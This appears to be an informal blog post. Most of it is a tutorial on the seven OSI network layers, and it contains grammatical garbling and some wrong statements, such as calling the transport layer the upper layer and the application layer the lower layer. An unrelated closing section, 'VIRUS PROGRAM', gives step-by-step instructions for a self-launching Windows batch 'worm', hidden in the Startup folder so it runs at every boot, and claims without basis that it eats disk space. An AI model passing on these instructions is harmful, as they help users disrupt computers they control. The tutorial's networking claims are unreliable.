OSI model

            The Open Systems Interconnection model (OSI) is a conceptual model that characterizes and standardizes the internal functions of a communication system by partitioning it into abstraction layers. The model is a product of the Open Systems Interconnection project at the International Organization for Standardization (ISO), maintained by the identification ISO/IEC 7498-1.

    The model groups communication functions into seven logical layers.

Ø Layer1: physical layer

Ø Layer2: data link layer

Ø Layer3: network layer

Ø Layer4: transport layer

Ø Layer5: session layer

Ø Layer6: presentation layer

Ø Layer7: application layer

Layer 1: Physical layer:-

       The 1^st layer of OSI model is the physical layer. The function of this layer is the transmission of bits over the network media i.e. it provides a physical connection for the transmission of data among the network devices.

                    IT is responsible for following:-

v It defines the electrical and physical specifications of the data connection. It defines the relationship between a device and a physical transmission medium (e.g., a copper or fiber optical cable). This includes the layout of pins, voltages, line impedance, cable specifications, signal timing, hubs, repeaters, network adapters, host bus adapters (HBA used in storage area networks) and more.

v  It defines the protocol to establish and terminate a connection between two directly connected nodes over a communications medium.

v  It may define the protocol for flow control.

v  It defines a protocol for the provision of a (not necessarily reliable) connection between two directly connected nodes, and the modulation or conversion between the representation of digital data in user equipment and the corresponding signals transmitted over the physical communications channel. This channel can involve physical cabling (such as copper and optical fiber) or a wireless radio link.

Layer 2: Data link layer

       It  provides the physical transmission of data and handles error notification, network topology and flow control i.e. The main purpose of this layer provide a reliable method of transmitting data across the physical media.

                This layer break the input data into FRAMES, transmits the frame sequentially and process the acknowledged frames sent back by the receiver.

The data link layer is divided into two sublayers

v Media Access Control (MAC) layer - responsible for controlling how computers in the network gain access to data and permission to transmit it.

v   Logical Link Control (LLC) layer - control error checking and packet synchronization.

Layer 3: Network layer

           The network layer is responsible for packet forwarding including routing through intermediate routers, where the data link layer is responsible for media access control  flow control and error checking.

          A network is a medium to which many nodes can be connected, on which every node has an address and which  permits nodes connected to it to transfer messages to other nodes connected to it by merely providing the content of a message and the address of the destination node and letting the network find the way to deliver  ("route") the message to the destination node.

In this layer switching, Addressing ,Route definition, Route discovery operation is perform.

Layer 4: Transport layer

            This layer is the heart of the whole protocol hierarcy. Its task is to provide reliable cost-effective data transport from the source machine to destination machine, Independently of the physical network or network currently in use . It is upper layer of OSI model.

                 IN this layer flowing operation is perform :-

  Packet & sequencing , flow control, error control, Multiplexing, End to End delivery Addressing , Loss control.

Layer 5: session layer

     IN session layer it establishes, manage and terminate connection b/w application. The session layer sets up, co-ordinates and terminate conversations, exchange and dialogues b/w the application at each end.

  It deals with session and connection co-ordination.

 Session layer enables connection in different mode.

1.   Simplex

2.   Duplex

1.   Half duplex     2. Full duplex.

Layer 6: Presentation layer

   This layer provides independence from data representation (e.g., encryption) by translating between application and network formats. The presentation layer transforms data into the form that the application accepts. This layer formats and encrypts data to be sent across a network. It is sometimes called the syntax layer.

1.   Encryption – decryption.

   2.   Translation – de translation

   3.   Compression- de compression.

   

Layer 7: Application layer

 Which connect supplication software to network are know as application protocols (application layer)

    Everything at this layer is application specific. This layer provides application services for file transfer, e-mail and other network software service. It is the lower layer of OSI model.    

            

VIRUS PROGRAM

Now i'am gonna tell you how to write a simple worm virus:-

 1.Log on to your computer as an administrator.
 2.Go on C drive and create a folder, name it "Programs"
 3.Open up notepad and type in "@echo off"
 4.Then, write "Copy C:\Programs\virus.bat C:\Programs" on the second line. On the third line write "Start C:\Programs\virus.bat".
 5.Click "Save as" and save as virus.bat in the file
 (Programs) you just made.
 6.If you want the worm to start whenever the computer starts, right click on "virus.bat" and click create shortcut. A shortcut will be made on programs.
 7.Right click on the shortcut icon and click "cut".
 8.Right click on the shortcut and click "copy".
 9.Right click on your start menu and click "explore".
 10.Go to All Programs, then find the file named startup.
 11.Paste the shortcut onto the startup folder.
 12.Right click on the shortcut and go to properties, click on hidden, then press "Apply" or "OK".
 You have successfully made a working worm virus. To start it, restart your computer and the disk space on C drive will
 be eaten away!!!!!!!!!!!!
 caution:To get rid of the worm virus just simply delete the "programs" file.